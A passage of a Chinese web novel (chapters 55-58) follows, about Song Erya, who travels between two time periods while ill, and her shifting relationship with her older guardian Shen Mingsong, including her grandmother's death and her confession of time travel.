宋尔雅汗流浃背,正想着再次装晕,教官一声解散拯救了大家。 “终于结束了。” “天啊,累死我了,吃饭吃饭。” “快点跑,不然食堂??x?又要没饭了!” 新生饿得嗷嗷待哺,如狼似虎地往食堂方向冲。 宋尔雅先去休息帐篷倒了些水洗脸,才慢吞吞地随人群走。她跑不快,就算冲到食堂也得排很久的队。 沈明松逆着人流过来:“吃饭都不积极?” “哥哥!” 宋尔雅看到他立马恢复元气,但没冲上去抱人,反而离他一段距离,她觉得自己身上有汗臭。 嗯,她女友包袱很重的。 沈明松只好领着她往球场外面走。 第55章 第 55 章 烟火年年 沈明松的车在学校停车场里, 把人带上车后却没有开,把提前就买好的饭盒拿出来给她,怕她给饿坏了。 宋尔雅没第一时间打开饭盒, 眼神询问:“在车上吃东西吗?”她怕把车弄脏。 沈明松帮她打来车窗:“车里有空调,外面热。” 见他不介意,宋尔雅才动勺子。 沈明松提前吃过了, 坐驾驶室上看文件,宋尔雅不经意瞄了一眼。 哇, 是“新月湾”! “新月湾”是地产开发商的一个住宅项目, 在市中心开发出一块三万平方米区域,专为高端群体建立豪华住宅。 过两年海都房价暴涨, 将会有一批人借着时代东风扶摇直上, “新月湾”的是多少人做努力一辈子都住不进去的地方。 宋尔雅好像收到过一份礼物便是那里的一把钥匙, 沈明松送她的。 她伸长脖子去看:“你们公司也参与了这个项目吗?” 沈明松点了一下头, 伸手搂过她肩膀:“怎么了?” “没什么,好好干, 哥哥要努力养我哦。” 宋尔雅和他嬉皮笑脸,沈明松想绷着脸正经一点都不行:“快点吃饭去休息, 下午有得你累的。” 想到下午的军训, 宋尔雅又不笑了, 苦大仇深地往嘴里塞饭,吃完后她扭开保温壶, 发现里面是牛奶和切好的水果,还有冰块。 “那个下午拿去喝。”沈明松合上文件, 把车钥匙给她,“以后车就停在这里,中午可以在车里睡觉。” T大学校宿舍只有天花板两台小风扇, 热起来时根本不顶用。 “哥哥最棒了。”宋尔雅肉眼可见的开心起来,毫不吝啬的夸奖,又想到什么,“可是你要用车了怎么办?” 沈明松说没事,他还可以开他老板的车,又不能替她军训,只想着怎么能让她舒服一点。 他不忘提醒:“只能进来吹吹空调,别乱开车。” 宋尔雅会开车,但在这里她没有驾照,嘟囔道:“我没有这么顽皮。” “谁知道呢。”沈明松意味深长,像看熊孩子,“要是敢乱开,我就……” “你要打死我吗?” “狠狠打死!” 中午宋尔雅就在车后座午休的,温度凉爽,车窗也隔音,一觉醒来她还不想下车面对外面的火炉。 沈明松已经不在车里了,真就把车留下来给她临时休息。 他也不是每天都能来提前给她买好饭,不过他在车里放了很多面包牛奶,宋尔雅开始还怕弄脏车,后面半躺着吃饼干。 军训度日如年,在宋尔雅慢慢适应训练强度时,她看教官有重影,这次不再是装晕了,而是昏迷不醒把救护车都招来。 她毫不意外的又穿越了。 真是穿越次数变频繁了。 海都开始进入凉爽的秋天 宋尔雅所在的医院的环境很好,清净又舒适,管外面多少度病房里都是恒温的,她察觉不到四季变化。 人在无聊时就会犯贱,宋尔雅觉得躺病床上时又怀念起军训的日子,至少那个时候她还能活蹦乱跳的。 沈明松过来她正蜷缩在沙发上重温《大话西游》,占据小小一个角落,瘦骨伶仃的身躯藏在宽大病服下,纤细的手指被一层薄薄的皮裹住 。 其实她是个很爱吃的人,念大学时因为动作慢,去到食堂时几乎都不剩什么了,他每次和她见面都会给她带很多吃的,看她小仓鼠一样进食会不自觉的发笑。 她会一边抱怨自己胖了一边说能吃是福,一边减肥一边拉他去探寻好吃的店,那个时候他们还是情侣,可以牵着手去看电影,去游乐园,如果她开心了,会大大方方的吻上来。 她从不隐藏自己爱意,也不吝啬于表达,弄得他是被动的那一方。后来沈明松才明白,她这样模样全是自己养出来的,他纵容她的一切行为。 然而他并没有养好她。 宋尔雅看到他,抬手拍拍旁边空位让他坐过来一起看。 沈明松记得这是一部很多年的老电影了,至今还能再电影院重映,当年观看的情侣不知还有多少可以从少年走到中年。 明明是喜剧,两人看完全程都没有笑过。 “如果我真的有月光宝盒就好了。”宋尔雅按黑平板屏幕,往沈明松身上靠,“只要大喊一声咒语就能回到想要回到的过去。 ” 沈明松本来是要她端坐好,又看到她将脑袋枕在自己肩上,小脸消瘦得不像话,唯有一双眼睛还残留着生机,满心满眼的依赖着他。 他又想,只此一次没关系的,就算不再是情侣了,也可以是亲人,低声问:“尔尔想回到什么时候?” “当然是回到最幸福快乐的时候啦。”宋尔雅在他身上蹭啊蹭,整个人都要窝进男人怀里了。 可是她忽略了,至尊宝纵使有月光宝盒,他也没有得到幸福快乐。 来来回回的穿越让她感到愈发不安,她不知什么时候会停止,更不知会停在哪里,是停在过去还是现在。 两个时空都有令她无法割舍的东西。 九月结束,段西瑞军训结束跑来看她,整整黑了几个度,他一张口说话牙齿显得发亮了。 宋尔雅笑瘫在床上。 “别笑了。”段西瑞恼羞成怒,“要你入学,指不定比我还惨。” 宋尔雅端起架子来:“啧,我早就体验过了,严肃说,我还是你学姐呢。” 段西瑞面露疑惑。 “是你二十多年前的学姐。”她补充道。 她总胡说八道,段西瑞当她放屁。 宋尔雅在这边也报考了t大,并拿到录取通知书,开学时沈明松助理替她去办理入学,同时也办理休学手续。 等她好起来还是可以去t大读书的,避免康复后再高考一次。 后续治疗期间医生不让家属朋友来探望过多,怕移植初期免疫系统弱容易引发并发症。所以无论是段西瑞还是其他朋友每次来看她,顶多和她讲几句话就被护士催着走,或者网上和她聊天。 沈明松倒是经常来,但有时他就站病房外看她,一句话都不进来和她说。 宋尔雅觉得自己被困在小小的病房里,一天比一天暴躁。生病不止折磨身体,还有精神方面。 她没想到这一次会在这边待那么久,期间她烦躁起来真的想不管不顾冲出医院去。 十一月晚秋,落叶铺满地面,窗外被枫叶染成一片彩霞,宋尔雅从高楼望下去,层林尽染。 主治医生说她已经熬过最难的关头,恢复得不错。新细胞生长稳定,排异现象大有缓解,胃口也好了很多,也被允许外出,需尽量避着人多的地方。 宋尔雅问他自己什么时候可以出院。 主治医生翻看她资料,神色复杂,只说保险起见建议观察半年,当然她现在就可以办理出院手续,但沈明松要求继续留在医院疗养。 做宋瑶太久了,去哪里都是热热闹闹的,可如今她做回自己,她有种被抛弃的恐慌。 她刷朋友圈,朋友各有各的生活,工作、旅游、恋爱,段西瑞在大学里玩疯了,最新动态显示他在瑞士滑雪。 她打视频给明奶奶,想着看看她听听她说话也好。 可每次都不恰巧,都是保姆接的,说老人家越来越嗜睡,每天起来吃点东西就困了。 和明奶奶同龄的,有的还能每天跳跳广场舞蹈,但她自车祸后身体就不太硬朗,老了之后更是大把大把吃药,和她差不多,常常在昏睡中。 不过保姆经常会给发来消息,都是些明奶奶吃饭看电视的视频,她话都说不太清楚了,神态萎靡。 宋尔雅感受到衰老和死亡是避不开的话题,不去想就不代表它不来。 她还和沈明松吵了一架,或者说是她单方面的闹脾气。 她想要回家,沈明松不准。 “为什么不可以回家,你知道我待这里有多闷吗,都没有人来和我说话,这些书都被我??x?看得背下来了,我连打游戏都在走神!” 而沈明松的做法是给她换了一批新的书籍,从世界文学到言情小说都有,还有漫画夹杂在其中。 宋尔雅要被气笑了,她给丟地面上,像个撒泼打滚的熊孩子:“我根本不是要这些!” 沈明松拧着眉,却还是好脾气地给一一连起来整理好书籍:“那你要什么?回家不行。” “我也要去玩。”宋尔雅抓着手机,屏幕上还是段西瑞朋友圈。 沈明松:“现在还不行。” 宋尔雅抿嘴,又慢吞吞走过去抱他,双手环住他腰,脸贴他胸膛上:“那什么时候才可以,医生说要我保持心情愉悦,这样我怎么保持,我要被闷死了。” 沈明松才让她抱了一会儿,就把她手拿开,有些无奈:“叔叔以后每天都来看你。” “好吧。”她勉为其难地点头,又重新抱回去还想踮脚亲他一下,结果他一侧头,给亲下巴上了。 沈明松绷着脸,没有弯腰低头的意思。 他们身高有着三十厘米的差距,难不成她还要蹦起来? 宋尔雅险些又发作,沈明松明明已经是她男朋友,无论哪个时间线都得是她的,她受不了他刻意回避她的疏离态度。 明明不久前的他还和自己腻腻歪歪的,凭什么现在就不行? 频繁的穿越让她无法适应两个时空的沈明松。 他把她手掰开了,摸摸她脑袋没说什么。 第二天段西瑞忽然和她道歉,她发了个问号过去。 段西瑞:“没什么,只是我现在不在国内,等你身体再好些,我们出去玩。” 宋尔雅说好,她又翻了翻朋友圈,段西瑞把他出去玩的照片都删了干净。 她愣住了,给沈明松发消息,问他是不是去骂过段西瑞。 他觉得是段西瑞把她玩心勾出来的? 沈明松没回复她。 宋尔雅又去翻他朋友圈,最新一条都是一年前发的了,那时在过年,她还未复发,她和他和明奶奶在雪地里玩仙女棒。 这条还是她拿他手里发的,配文:辞暮尔尔,烟火年年。 这一年里她穿越太多次,经历好多事,看着照片里的三人身影只觉恍如隔世,物是人非。 过了一会宋尔雅又发:“我不是想出去玩,我是不想自己一个人。” 沈明松依旧没回复她。 宋尔雅有种当了舔狗的恼怒,她什么时候被如此忽视过? 不过都是无能狂怒,她又不能干什么。她把手机丢到一边,一分钟自己呼吸了十六次,眨眼十八次。 她忘了自己怎么哭起来了,藏在被子蜷缩成一团。 王阿姨赶紧给沈明松打电话。 宋尔雅直到整个人被捞起来抱在怀里。 “尔尔。” “尔尔?” “怎么了尔尔?” 沈明松哄孩子一样拍着她的背,一点一点擦掉她泪珠。 宋尔雅看见他又不哭了,把眼泪憋回去,“我想起一些难过的事?” 沈明松样子有些憔悴,疲倦的望着她。 她说:“我想妈妈了。” 于是第二天沈明松就带着去墓园去,宋芳就住在那里面。 他对她过度小心,还特意把白菊装进透明袋子里避免她接触到。 看到母亲墓碑时,宋尔雅没很大痛苦,毕竟她也去世很多年了早就接受了。 何况她知道另一个世界的宋芳有好好活着,心里安慰了不少。 但眼睛还是难过的。 她无法假装不难过。 ~ 十二月时海都也开始下雪了,起初还是碎雪,都盖不住秋天保留下来的枯叶。慢慢地,雪下大了,一天醒来宋尔雅趴在窗口上看,楼下积雪都很深了,一步一个脚印。 她在室内感受不到寒冷,而外面万物似乎停止了生长,世界陷入一片寂静。 过年那天王阿姨放假回家去了,她在医院里要简直待疯了,要不是沈明松出现得及时,她都要“越狱”。 宋尔雅问沈明松:“今天也不能回家过年吗?” 沈明松要带她下楼散步,摸摸她长出来的短发后给戴上狐狸耳的毛绒帽子,“下个月就可以回家了。” 病房电视机里正播放着阖家欢乐的新年广告,祖孙三辈围坐在一起圆圆满满。 今天只有她和沈明松,怪冷清的。 他又给她扣好外套上的牛角扣戴上围巾才下楼。 医生说去人少地方时不带口罩也可以。她看见沈明松还是装了几个放口袋备用。 到了外面宋尔雅才感受到天气温度的变化,风冰凉冰凉的往小脸上拍。 她戴着防水手套去抓雪玩,徒手捏了一堆小动物。 见沈明松举着手机给她拍照录视频,她一对上镜头就本能的摆动作和笑。 沈明松经常给她拍照,像宋芳一样。 宋尔雅凑过去看,每一张都很好看。她今天穿一身白粉色大衣,衬得脸蛋粉嫩,银装素裹的背景看不出是在医院。 宋尔雅划拉着手机,低着头让人看不清她表情:“哥哥,晚上我们回家过年吧?” 不出意料,沈明松又拒绝她:“医院也可以过,或者晚上叔叔带你出去玩一会。” “那奶奶怎么办?” “奶奶晚上要休息,经不起折腾了。” 宋尔雅把手里的小雪人捏碎,沉默了大概三四分钟才缓慢地抬起头:“奶奶是不是已经不在了?” 第56章 第 56 章 被甩 宋芳去世的那一年里, 宋尔雅也是成天被关在病房里,以至于连母亲的葬礼都无法参加。 她伤心过度,又偏在葬礼那一天被肺腑感染病情恶化, 那时郑嘉明以为她真活不成了,过来见她最后一面,目的不详。 宋国梁来看她主要是想要她的抚养权, 觉得母亲给她留有遗产,想着她死之前要过来。可家里钱都被他偷去赌博了, 就只剩几套住了多年的房子, 和一套未还清贷款的新房。 沈明松都没让那两个人跑到她面前,给她搭建出一块清净地。 宋尔雅那时还想过去写过份遗嘱, 要把自己所有东西留给沈明松, 虽然她那点东西和在他面前微不足道, 却是她仅有的, 不然她也不知道还可以留给谁。 后面她活了过来,熬到出院被接到沈家修养, 没了宋芳之后,却拥有了沈明松和明奶奶的宠爱, 本来薄薄的亲缘被浇灌出铜墙铁壁。 而这铜墙铁壁如今也悄悄斑驳生锈, 扛不住时间侵蚀。 大概是一个月前, 她才有了奶奶离世的猜想。 家里的保姆、王阿姨、段西瑞都帮忙瞒着,都怕她伤心。哪怕她闹, 沈明松也没同意她哪怕就回一天的哀求。 被揭穿了也就没有瞒着必要,沈明松揉了一下着被冷风冻僵的脸, 安慰她:“奶奶是在梦中离开的,没有痛苦。” 尽管做好千万次心里防御,宋尔雅眼睛酸疼得厉害, 她咬着牙往沈明松怀里钻。 她一直想独立长大,却一直都在受他庇护。 她太过脆弱,也太过没用,她什么也做不了。 以前做化疗痛时她会大哭,哭得惊天动地似乎在控诉命运,后面才懂得收敛,把自己痛苦赤裸裸的暴露出来,只能换来爱她的人伤心难过。 宋尔雅控制住不那么崩溃,免得还要他来安抚自己,她深呼吸几次,发出了似哭的声音:“那今天我们就回家好吗?” 这一天他们回到沈家宅子里,一起在明奶奶遗像上了香,拜了又拜,宋尔雅还笑着和她说新年好。 她又失去了亲人。 ~ 只有两个人的春节没有想象中那般寒冷。 两人心情开始还很低落,却在不知不觉中缓和了,至少他们还有彼此陪伴。 沈明松还给她发了红包。 他们还在影音室里看了跨年电影,虽然都没被无厘头的剧情逗笑,至少搞怪的配音打破了凝重气氛。 她挨着他坐在沙发里,其实很想躺他怀里的,但他明显没那个意思,她才把头靠他肩膀上,他就起身去拿牛肉干给她吃。 她只好作罢,如果是二十岁的沈明松…… 算了,不要想这些。 按照习惯,今年宋尔雅也拿他手机发了跨年朋友圈,看到他还在用着她几年前给他设置的黑白动漫头,赶紧给他换了。 她换了一个猫猫头,和自己同系列。 没多久跳出一条信息:家里小朋友又调皮了? 宋尔雅没点开去看他隐私,把手机还给他。 余光偷偷瞥见沈明松看到自己账号变化后,在手机操作几下,丢到一边继续看电影。 宋尔雅看看自己手机,他的头像还是新换上去的那个没有变。 电影??x?看到一半她给睡着了,醒来时已经是第二天,她躺在自己房间里。 醒后她去了明奶奶房间,她是九月初离世的,已经几个月过去了,房间被整理得很干净,一点异味都没有了,里面每一样东西都是她的遗物。 宋尔雅发现件织到一半的男性毛衣,可能是她某一天清醒时,念着入秋了想给儿子织一件就动手了,长长的毛衣针还别在上面。 明奶奶教过她花纹织法,当时她学得囫囵吞枣,只记得大概,她花了两天功夫,勉强把剩下毛衣织完。 她拿去给沈明松时,他也没说什么,当即就把自己身上羊毛衫脱了,换上她织的。 毛衣很合身,就是花纹有些歪歪扭扭,上身后效果更明显。宋尔雅不太满意,让他把这件“丑八怪”脱下来,她重新弄过。 沈明松说没事。 他不脱,他还要穿出去见人。 节日期间很多人往家里送来贺礼,堆得小山那么高,也有亲自上门拜访的,让这个新年终于有了一点人气。 其实待在家里疗养和医院差别不大,沈明松也不太让宋尔雅出门。客人来了也让她待房间里面,怕人多对她身体不好。 不过段子阳一家来时,她总归得出来见一见的。 段西瑞也跟着一起来了,还有他后妈和弟弟,还有一个不认识的年轻女人,他亲妈今天没来。 段西瑞轻车熟路把沈家当自己家了,一来就和宋尔雅凑一起,不想听长辈之间的谈话。 宋尔雅不经意去看那边相谈甚欢的那个年轻女人:“那人谁啊?” 段西瑞说是他后妈的表妹。 “她表妹来我家干嘛?”宋尔雅皱眉。 她和段西瑞玩得到一块还有个原因,都有一个讨厌的后妈。 宋尔雅比较幸运不用和后妈相处,段西瑞就比较惨了,他后妈是个当面一套背后一套的人,要不是他亲妈不好惹,段西瑞这个傻白甜早被欺负死了。 段西瑞叹了口气,笑道:“想把自己表妹介绍给沈叔叔呗,异想天开。” 什么?! 宋尔雅再次转身去看那个后妈表妹一眼:“你爸知道这事?” “知道啊,可不就见沈叔叔孤寡多年,老了没事干,被我那后妈一怂恿还真领着那女来,要是那女的真嫁进来,你就惨了。” 宋尔雅想都没想,说:“没这个可能。” 就在这时,段西瑞弟弟走过来,看上宋尔雅手上游戏机了,直接伸手:“你那个,给我!” 八岁的小屁孩说话怪不客气的,要搁平时她就给他了,但她这些天心情都不太好,正眼都没瞧他。 小屁孩平时在家里当皇帝的,段西瑞怕他闹起来,把自己的丢给他:“自己玩去,别来烦我们。” 宋尔雅又扭头去看大人那一边,那个表妹一直维持着笑脸,时不时看沈明松,沈明松完全没接收到。 都变成大叔一个了,还能招蜂引蝶吗? 宋尔雅没有要过那边去的意思,小屁孩拿到游戏机想和她一起打,她没什么心情。 大概是没被人忽视过,小屁孩顿时生气了,伸手就摘掉她帽子,随即一愣后,像见到了什么怪物一样尖叫。 “妈妈,这个姐姐没有头发!” “还给我!”宋尔雅本能的捂住脑袋,她只刚长出了短短发茬,有些扎手。 她很少会在亲近之外的人面前暴露出自己丑态,出门见客都会花好长一段时间打扮自己,爱面子得很。 小屁孩大概觉得被她着急的样子很好玩,还做了个鬼脸:“略略略……” 宋尔雅一把推倒他,小屁孩脑袋刚好磕再桌子上了,顿时放声嚎叫。 段西瑞后妈脸色当下就变了。 然而比她还难看的是沈明松,他整张脸阴云密布。 如果他再年轻个几岁,很难不怀疑他会不会揍这小孩。 …… 小屁孩后脑勺被磕了个大包,走前却被段子阳揍了一顿,压着他道歉。 纵使都明白宋尔雅不是真的沈家养女,但从未有人敢指责她,以前她和那群富二代瞎玩时也是被人捧着的,段西瑞后妈再不情愿也得赔着笑脸。 宋尔雅没给她什么好脸色,转身上楼了。 她之所以没长成娇纵蛮横的样子,得亏有宋芳前面教育,若是由沈明松从小抚养她,她大概也会是无法无天那种。 跟在沈明松身边她就没受过气。 段西瑞偷偷给她发表情包,说爽啊。 其实她没多久就不生气了,故意没给那对母子好脸色罢了。 沈明松却还以为她气没消,给她换了新帽子戴上:“下次不让他们来了。” 宋尔雅心不在此,逼视着他:“那个表妹,是来和你相亲的吧?” 沈明松不解:“什么表妹?” 宋尔雅把情绪写在脸上,在他面前总是恃宠而骄,带着满满的埋怨:“你不老实,段叔叔把那个女生带过来,就是介绍给你的当老婆的吧?” 见她嘴巴扁扁不高兴的样子,沈明松抿了抿嘴,宋尔雅怒火中烧:“你说话啊?” 她想起他最近对自己各种亲近而表现得冷淡且抗拒的反应,她又觉得好委屈。 沈明松:“就算叔叔以后结婚了,不会不管你的。” “什么结婚?”宋尔雅尖叫,死死瞪他,“你不是我男朋友吗,你要和谁结婚?” 沈明松骤然抬眼看她,终于选择坦白:“尔尔,那些事情对于我来说已经过去很多年了,我都快忘了。” 宋尔雅愣住了:“你什么意思?” 沈明松:“现在的我年长于你那么多,我无法说服自己和你重新在一起。” 宋尔雅都没来得及思考,就先抬手给了他一耳光。 …… 深夜,她躺床上气得睡不着。 她居然被甩了。 沈明松变老了那么多,她都没有嫌弃他,他居然敢甩自己。 她明明从未在意过他的皮囊,远在穿越之前她就知晓了自己心思。 宋芳去世后,她一年年成长不再是小孩,单纯的心思变质,变得贪心起来。 起初她只是希望沈明松叔叔能永远陪她,并洐生出一股可怕的依赖。后面她发现,这股依赖用喜欢来形容更贴切。 她也想过是不是自己过于缺失父爱,刚好在生病时期他出现给弥补上了,可是面对追求宋芳顺带对她很好的孟非凡,她又没那种感觉。 她想了许久,才逐渐明白那种喜欢不是因为他身上有父爱,而是他看她的眼神。 那种眼神饱含很多东西,温柔、怜悯、疼惜、痛苦……都化为一种望向恋人的爱。 她感受到了沈明松藏在眼底汹涌的爱意,可是他始终什么都没说过,什么也没做。 如果是她的朋友说喜欢上四十多岁的大叔,她肯定会痛骂朋友一顿,可换成自己……她承认她很双标。 以前她不敢坦白心思,怕他觉得自己狼子野心大逆不道,说不定还会被吓到,会把她送走。 入睡前她居然冒出永远做宋瑶的想法,让她停留在过去,和沈明松从年轻走到暮年,互相看着彼此一点点变老。 ~ 2026年的新年,海都下着大雪,2000年的海都犹如蒸锅,热得冒烟。 为了防止尸体在这种鬼天气加速腐烂,太平间温度被调得比平时还要低上许多。 宋尔雅是被冻醒的。 第57章 第 57 章 我是你老婆啦 宋尔雅掀开身上的白布, 才发现周围都是尸体,差点吓得她尖叫。 任谁一睁眼就穿越到这种地方,都淡定不了。 太平间, 搞什么啊! 是不是再晚一点就送她去火葬场了? 恐怖的是她现在手脚都是僵硬的,一举一动都很艰难,刚下床就直挺挺地倒下去了。 摔疼的痛感告诉她自己还是活着的, 或者说她又活了过来。 可能是她长时间穿回去,宋瑶身体失去生命特征后, 被医院宣告死亡送来这里, 等待着家属拉走火化。 真是要命啊! 宋尔雅趴在被冻得直打哆嗦,手脚并用地在地上爬行想快点离开这阴森的地方出去求救。 大概一两分钟后她恢复了些体温, 手脚缓了过来有了些体温, 她扶着旁边病床要站起来时, 她看到一双脚。 顺着这双垂下来的脚望上去, 有个黑影直挺挺的站着,似乎在低头看她, 也不知道看了多久。 一道手电筒的光束照在她脸上,使她无法抬手挡住眼睛:“谁啊?” 大半夜的哪来的人出现在太平间来偷尸体的? 宋尔雅声音不小, 招来外面值班的人, 没多久太平间的门就被打开:“谁!谁在里面?!!!” 灯光亮起来时??x?, 太平间冒出两个人影,吓得尖叫声此起彼伏。 “救命!” “有鬼!” 有宋尔雅的, 也有值班人的,唯一没叫的是她跟前的那个。她尖叫过后, 才看清那个不叫的人是沈明松。 他定定的看着她,仿佛连呼吸都停止了,是座雕像, 比上一次她抢救回来看到的样子还要憔悴狼狈,看起来好几天没睡过觉似的。 “哥哥?”宋尔雅叫了他一声,看到他也在这里后就不害怕了,伸出手抓住他脚踝要爬起来。 沈明松动了动,将她拉起来死死盯住,太平间冒着渗骨寒意,如临冬季,他眼睛里结了一层薄冰。 宋尔雅在他眼前摆摆手:“哥哥你怎么也在这里?” 男人面如冰雕,没梦醒一样,视线跟着她挥动的手移动:“我来看看你。” 大晚上来太平间看她? 沈明松去探她鼻息,又去摸摸脖子探脉搏,最后将脑袋搁她胸前听她心跳。 本已停止跳动的心脏此时正缓缓恢复生命力,一下一下地敲打耳膜,他似乎听到了破土而出的生长。 宋尔雅手还是一片冰凉的,摸在他后颈上冻得他浑身一震,眼底的冰被震碎融化成水缓缓流出。 ~ 太平间里有具尸体爬起来的消息很快在医院里传起来,最后将被收纳医院诡异怪谈事件之一,又被解释为医疗事故,误诊了病人死亡。 宋尔雅本人是最谈定的一个,对谁都说她只是感觉睡了一觉而已,医院反复给她检查了几遍,依旧没检查出什么毛病,给她加入疑难杂症病案中。 宋芳后怕不已,只庆幸自己过于震惊妹妹突然就死了,迟迟接受不了,没有很快送她去火化办理后续,不然后果无法想象。 “就你会折腾人,一次两次的,我上辈子真是欠你了的……”宋芳埋怨着,眼泪先流出来,更多是劫后余生的狂喜。 “没事就好,瑶瑶饿不饿?来吃点牛肉粥,阿姨喂你好不好。”明珠眼里也有泪光,看来之前是哭过了,却还是笑着来哄她吃东西。 她把他们都吓坏了。 宋尔雅看着自己已经失去的两个亲人,想冲她们笑,眼泪先落下来。 喜极而泣。 至少她们都还存在这个世界里。 宋尔雅出医院后没回学校,而是在沈明松家住了些天。 她在军训途中晕倒到最后被送进太平间,学校被吓得够呛,给她打了请假条,免去接下来的军训,勉强算是因祸得福。 宋芳假期已经用完了,见妹妹着实没事,明珠又和她保证自己家会照顾好妹妹的,这才带着些不安回深市继续工作。 宋尔雅好好地休息了一段日子,连沈明松都对她格外宽容,不过她很快就发现了他的不对劲。 有天半夜醒来,她就被一声不吭站床头的沈明松吓死。 他伸手过来抚摸她,探她的心跳脉搏,确认她还活着后淡定把手从胸口拿开:“没事,哥哥就是来看看你,不做什么,睡吧。” 就像那天他那晚跑去太平间看看她尸体一样,有些诡异。 他自从她醒来后在太平间掉了眼泪,后面就恢复正常了,明珠都没察觉出来他有什么变化,宋尔雅却感觉出来了。 应该没有在热恋期时,恋人突然死了后还能保持冷静,他太过平静就是异常。 果然宋尔雅再次闭眼入睡没多久,又被他弄醒了。 他轻轻将头贴在她胸口,去听她的心跳。 宋尔雅坐起来:“哥哥?” 沈明松:“我刚刚听不到你的心跳了。” 宋尔雅抓起他的手放在自己脸上,让他感受自己的温度,觉得还不够,她双手拥住他腰身,把脸埋在他胸口上。 她始终觉得拥抱是很好的安抚方式,似在寒冷中取暖,两人呼吸体温都交融在一起,嗅着彼此身上独有的味道,两颗心紧紧的挨在一起。 宋尔雅说:“哥哥,你不要这么害怕,我没有死。” 沈明松必须得紧紧抱住她,空荡荡的心才有一丝安全感,这是他从小看大的女孩,在她身上建立起的感情无法估量,一次两次地的看着她“死亡”又复活,简直快要把他逼疯了。 面对她毫无征兆的死亡。那天晚上宋芳和他母亲都哭的很伤心,沈明松却没有。 他没有接受她的死亡,也不相信。 冥冥之中,他想去看她一眼,大半夜避着执勤人员闯入停尸房里,在黑暗中看到她爬起来的时候。沈明松觉得自己疯了。 所以产生了幻觉。 所幸,他没有疯。 失而复得的惊喜之下,是不断的后怕,沈明松控制不住地想,如若她没有复活,被推去火化了,他要怎么办。 她于他来说,是要保护的,宠爱的,格外珍贵重要的。 他很清楚自己有多爱她。 沈明松低头吻吻她发顶:“明天再去医院检查一下。” ~ 医院换了又换,依旧检查不出来什么原因,沈明松就带着她去看了位老中医,老中医把脉过后也没查出什么问题,但还是给她抓了一把中药让她带回去喝。 明珠平时喝的中药也是在他这里抓的,身体被调养好了很多,沈明松对他开的药没有任何质疑。 宋然而尔雅以前喝中药都喝怕了,她才不喝呢,于是就被捏着鼻子灌了。 她给忘记了,无论哪个时空的沈明松一但强势起来,都有一股中式家长的既视感。 她像被捏住后颈无力挣扎被喂了满嘴药的猫,舌头都被苦麻了,还在反抗过程中被中药撒了一身,气死她了,给了沈明松两拳:“我真的没有事,你看我现在不活得好好的吗?” 药差不多都灌她肚子里了,沈明松这才放开她:“一天就喝一壶,咬咬牙就咽下去了,乖一点好不好?” 宋尔雅鼻子被捏得发红,装得可怜巴巴的控诉:“你说得轻巧,你知道有多苦吗,苦得我一天都不想吃其他东西了,我喝的已经够多了。 那碗就只剩浅浅一碗底,她死活都不喝了,沈明松端起来喝了个干净,然后面不改色的反问:“很苦吗?” 宋尔雅一愣,她记得他是连喝凉茶都嫌苦的人啊,这两者的苦可不在一个等级。 她找其他借口:“我喝那么多,你才就这么点,这不公平!” 沈明松:“以后我陪你一起喝,我喝一碗你就得喝一碗。” “什么?!我不要!” 沈明松不理会她的抗拒,后面真的每天都熬三份,明珠一份,她一份,他陪喝一份。 宋尔雅苦不堪言。 一天晚上醒来她又发现他探自己鼻息,实在忍不了了坐起来:“我要和你说个事。” 她挪了挪,给他空出旁边床位:“你坐上来吧,故事有些长。” 夏日炎热,她身上穿着的是件碎花睡裙,整个房间都留下她沐浴露的香味,裙摆下的双腿白得晃人。 沈明松眸光暗暗的,表情似乎又在责怪她的“不矜持”。 她拍拍空位:“坐呗,你每晚像个变态一样跑进来看我,这时怎么又害羞了?” “我不是变态。”沈明松说,“有什么事明天说。” 宋尔雅:“如果我今晚就死了,你可就听不到了。” 沈明松猛地回头,目光阴沉可怕:“你要说什么?” 宋尔雅跑下床把他拉回来,压低声:音“你小声一点,阿姨在隔壁房间呢。” 两个人明明没干什么,她愣是做出了一副偷情模样。 “你还记不记得,我们第一次看电影时,剧里有个穿越的剧情,里面那个猴子会穿越?我当时和你说我也是穿越的,你还不信。” 她当时试探性说过,沈明松还揶揄她是猴子。 “当然我不是猴子啦,我是从2025年穿越到1995年,其实真正的宋瑶在95年7月17号那天掉海里淹死了,所以我才穿越到他身上复活了,你知道魂穿是什么意思吗,就是身体是宋瑶的,灵魂却是我的。那天我在警察局里等妈妈……等我姐姐,而你刚好也抓进去,你还记得吗?” 沈明松沉默的望着她。 从前她说这些话他只会一笑置之,但现在,她身上的谜团着实太多。 那个雨天过后,宋瑶就开始变得很奇怪,从胆小怯懦一下子转换成臭屁小孩,对他也是突然就亲近的。 沈明松思考着她话语的可信度。 “之前你不是好奇我为什么能提前知道方文彬要伤害我姐姐吗?我确实没有预知未来的超能力,而是我本身就是未来的人。??x?我不仅能穿越过来这边,还能穿越回去,前些年我会隔好一段时间才会穿越回去,而且时间也很短,穿回去的时候只是睡一觉那么短,所以我穿走了你们都没发现。” “而上一次,还有这一次我之所以会出现死亡状态,是因为我穿回自己世界的时间变长了,光是这一次就足足待了半年之久。宋瑶的身体没有灵魂寄体,便死了,好在我有穿了回来,所以又复活了。如果下次又出现这种情况,便是我又回到了自己世界,不代表我死了,只是暂时不在这边待着。” 原来她是在这种情况下和沈明松坦白一切的,原来真的都是她告诉他的。 不过毫无保留的说出来了也没关系,毕竟她无法控制自己穿越的事情,万一哪天又穿回去了没能即使穿回来,到时候宋瑶身体被火化掉,她估计就穿不过来了。 宋尔雅怕沈明松还是不信她,一边说一边观察着沈明松表情,看他从疑惑到凝重。 他声音有些颤抖:“你是……尔尔?” “是,我的名字叫宋尔雅。”宋尔雅找出一支笔,然后把沈明松的右手拉过来,认真地在他掌心一笔一画,自己全名就展现在他手上,“尔尔是我的小名。” “你给我写过一封奇怪的信,你称呼我叔叔。”沈明松低头看掌心的字,下垂的睫毛让人看不清他此时情绪,“所以你不仅不是宋瑶,你还不是和我同辈的人?” 他很聪明,一下就想通了。 宋尔雅点点头:“对,宋芳不是姐姐,而是我的妈妈。” 沈明松接受度还挺高的,目光流转在宋尔雅脸上,犹如重新认识她:“你和未来的我是什么关系,叔侄?” 宋尔雅:“我是你老婆啦。”—— 作者有话说:尔尔就是这么皮[捂脸笑哭] 第58章 第 58 章 你一定要记住我的名字…… “不可能。”沈明松回过神来, 整张脸好严肃,“你是芳姐的孩子,我怎么可能和你结婚?” “为什么不可能?”宋尔雅撅撅嘴巴, “有没有可能是你贪图我的美色,对我一见钟情,然后强取豪夺娶回家呢?” 沈明松一下子捏住她脸, 警告道:“不准诋毁哥哥,我不会做出这种事。” 她是宋芳的女儿, 差了一辈, 那得小他多少? 